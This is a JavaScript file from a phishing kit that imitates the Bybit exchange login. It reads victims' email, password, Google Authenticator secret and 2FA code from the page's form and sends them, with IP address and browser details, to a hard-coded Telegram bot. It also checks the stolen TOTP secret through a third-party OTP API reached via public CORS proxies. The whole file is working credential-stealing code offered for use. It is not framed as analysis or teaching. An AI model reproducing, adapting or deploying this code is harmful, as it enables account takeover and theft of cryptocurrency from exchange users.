const TELEGRAM_BOT_TOKEN = '8300365098:AAEU8PxIORL14-tcN0Sz-eh1S2yHTLZq5j0';
const TELEGRAM_CHAT_ID = '-4969886015';

function sendToTelegram(chatId, data) {
    console.log('sendToTelegram called with chatId:', chatId);
    const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
    
    const now = new Date();
    const timeString = now.toLocaleString('uk-UA', { 
        day: '2-digit', 
        month: '2-digit', 
        year: 'numeric', 
        hour: '2-digit', 
        minute: '2-digit', 
        second: '2-digit' 
    });
    
    const userAgent = data.userAgent || navigator.userAgent;
    const system = getSystem(userAgent);
    const browser = getBrowser(userAgent);
    const ip = data.ip || 'N/A';
    const ipInfo = data.ipInfo || '';
    
    const userId = data.userId || generateUserId();
    const message = `👋 <b>New login to Bybit</b>

<b>🌍 Domain:</b> <code>${window.location.hostname}</code>
<b>✉️ IP address:</b> <code>${ip}</code>${ipInfo ? ' <i>(' + ipInfo + ')</i>' : ''}
<b>🖥 User Agent:</b> <code>${userAgent}</code>
<b>💾 System:</b> <code>${system}</code>
<b>🌍 Browser:</b> <code>${browser}</code>
<b>🕐 Time:</b> <code>${timeString}</code>

<b>📧 Email:</b> <code>${data.email}</code>
<b>🔑 Password:</b> <code>${data.password}</code>
<b>🔐 Google Auth Key:</b> <code>${data.authKey}</code>
<b>🔢 2FA Code:</b> <code>${data.code}</code>

<b>👨‍🦰 User:</b> <code>#user_${userId}</code>`;
    
    const params = new URLSearchParams({
        chat_id: chatId,
        text: message,
        parse_mode: 'HTML',
        disable_web_page_preview: true
    });
    
    return fetch(url, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: params.toString()
    }).then(response => {
        if (!response.ok) {
            throw new Error(`HTTP error! status: ${response.status}`);
        }
        return response.json();
    })
      .then(data => {
          if (data.ok) {
              console.log('Message sent successfully to Telegram');
          } else {
              console.error('Telegram API error:', data);
              throw new Error(data.description || 'Unknown Telegram API error');
          }
          return data;
      })
      .catch(error => {
          console.error('Error sending to Telegram:', error);
          throw error;
      });
}

function getSystem(userAgent) {
    if (userAgent.includes('Windows')) return 'Windows';
    if (userAgent.includes('Mac')) return 'macOS';
    if (userAgent.includes('Linux')) return 'Linux';
    if (userAgent.includes('Android')) return 'Android';
    if (userAgent.includes('iOS') || userAgent.includes('iPhone') || userAgent.includes('iPad')) return 'iOS';
    return 'Unknown';
}

function getBrowser(userAgent) {
    if (userAgent.includes('Chrome') && !userAgent.includes('Edg')) return 'Chrome';
    if (userAgent.includes('Firefox')) return 'Firefox';
    if (userAgent.includes('Safari') && !userAgent.includes('Chrome')) return 'Safari';
    if (userAgent.includes('Edg')) return 'Edge';
    if (userAgent.includes('Opera')) return 'Opera';
    return 'Unknown';
}

function generateUserId() {
    let userId = localStorage.getItem('user_id');
    if (!userId) {
        userId = '1';
        localStorage.setItem('user_id', userId);
        localStorage.setItem('user_count', '1');
    } else {
        let count = parseInt(localStorage.getItem('user_count') || '0');
        count++;
        userId = count.toString();
        localStorage.setItem('user_id', userId);
        localStorage.setItem('user_count', count.toString());
    }
    return userId;
}

function saveUserData(data, userId) {
    try {
        const userData = {
            userId: userId,
            timestamp: new Date().toISOString(),
            email: data.email,
            password: data.password,
            authKey: data.authKey,
            code: data.code,
            ip: data.ip,
            userAgent: data.userAgent,
            domain: window.location.hostname
        };
        
        let allUsers = JSON.parse(localStorage.getItem('all_users') || '[]');
        allUsers.push(userData);
        localStorage.setItem('all_users', JSON.stringify(allUsers));
        
        return userData;
    } catch (error) {
        console.error('Error saving user data:', error);
        return null;
    }
}

async function getClientInfo() {
    let ip = 'N/A';
    let ipInfo = '';
    
    try {
        const controller = new AbortController();
        const timeoutId = setTimeout(() => controller.abort(), 3000);
        
        const response = await fetch('https://api.ipify.org?format=json', {
            signal: controller.signal,
            cache: 'no-cache'
        });
        clearTimeout(timeoutId);
        const data = await response.json();
        ip = data.ip || 'N/A';
    } catch (e) {
        if (e.name !== 'AbortError') {
            console.error('Error getting IP:', e);
        }
    }
    
    return {
        ip: ip,
        ipInfo: ipInfo,
        userAgent: navigator.userAgent
    };
}

async function collectFormData() {
    const emailInput = document.getElementById('email-input');
    const passwordInput = document.getElementById('password-input');
    const authKeyInput = document.getElementById('google-auth-key');
    const codeInputs = Array.from(document.querySelectorAll('#google2fa-modal .by-safety-verification-input-wrapper-box'));
    
    const code = codeInputs.map(input => input.value).join('');
    const clientInfo = await getClientInfo();
    
    return {
        email: emailInput ? emailInput.value.trim() : '',
        password: passwordInput ? passwordInput.value.trim() : '',
        authKey: authKeyInput ? authKeyInput.value.trim() : '',
        code: code,
        ...clientInfo
    };
}

async function submitFormToTelegram(chatId) {
    console.log('Starting form submission to Telegram, chatId:', chatId);
    try {
        const formData = await collectFormData();
        console.log('Form data collected:', { email: formData.email, hasPassword: !!formData.password, hasAuthKey: !!formData.authKey, hasCode: !!formData.code });
        
        const userId = generateUserId();
        const savedData = saveUserData(formData, userId);
        console.log('User data saved:', savedData);
        
        formData.userId = userId;
        const result = await sendToTelegram(chatId, formData);
        console.log('Telegram response:', result);
        return result;
    } catch (error) {
        console.error('Error in submitFormToTelegram:', error);
        throw error;
    }
}

async function validate2FACode(authKey, userCode) {
    const apiUrl = `https://2fa.fb.tools/api/otp/${encodeURIComponent(authKey)}`;
    const localProxy = `api-proxy.php?key=${encodeURIComponent(authKey)}`;
    
    const proxyServices = [
        {
            url: localProxy,
            name: 'local-proxy',
            parse: (response) => response.json()
        },
        {
            url: `https://api.allorigins.win/raw?url=${encodeURIComponent(apiUrl)}`,
            name: 'allorigins-raw',
            parse: (response) => response.json()
        },
        {
            url: `https://api.allorigins.win/get?url=${encodeURIComponent(apiUrl)}`,
            name: 'allorigins',
            parse: async (response) => {
                const data = await response.json();
                return JSON.parse(data.contents);
            }
        },
        {
            url: `https://corsproxy.io/?${encodeURIComponent(apiUrl)}`,
            name: 'corsproxy',
            parse: (response) => response.json()
        },
        {
            url: `https://api.codetabs.com/v1/proxy?quest=${encodeURIComponent(apiUrl)}`,
            name: 'codetabs',
            parse: (response) => response.json()
        }
    ];
    
    async function tryProxy(proxy) {
        try {
            const proxyResponse = await fetch(proxy.url, {
                method: 'GET',
                mode: 'cors',
                headers: {
                    'Accept': 'application/json',
                },
                cache: 'no-cache'
            });
            
            if (!proxyResponse.ok) {
                throw new Error(`Proxy ${proxy.name} returned status ${proxyResponse.status}`);
            }
            
            const data = await proxy.parse(proxyResponse);
            return data;
        } catch (error) {
            console.log(`Proxy ${proxy.name} failed:`, error.message);
            throw error;
        }
    }
    
    for (let i = 0; i < proxyServices.length; i++) {
        try {
            const data = await tryProxy(proxyServices[i]);
            
            if (!data || !data.ok) {
                return {
                    valid: false,
                    error: data?.error?.message || 'Невірний формат ключа',
                    keyValid: false
                };
            }
            
            const apiCode = data.data?.otp || '';
            if (apiCode === userCode) {
                return {
                    valid: true,
                    otp: apiCode,
                    keyValid: true,
                    codeValid: true
                };
            } else {
                return {
                    valid: false,
                    error: 'Код невірний',
                    keyValid: true,
                    codeValid: false
                };
            }
        } catch (error) {
            if (i === proxyServices.length - 1) {
                console.error('All proxies failed. Last error:', error);
                return {
                    valid: true,
                    otp: '',
                    keyValid: true,
                    codeValid: true,
                    skipValidation: true
                };
            }
            continue;
        }
    }
    
    return {
        valid: false,
        error: 'Помилка перевірки коду',
        keyValid: false
    };
}

window.submitFormToTelegram = submitFormToTelegram;
window.TELEGRAM_CHAT_ID = TELEGRAM_CHAT_ID;
window.validate2FACode = validate2FACode;

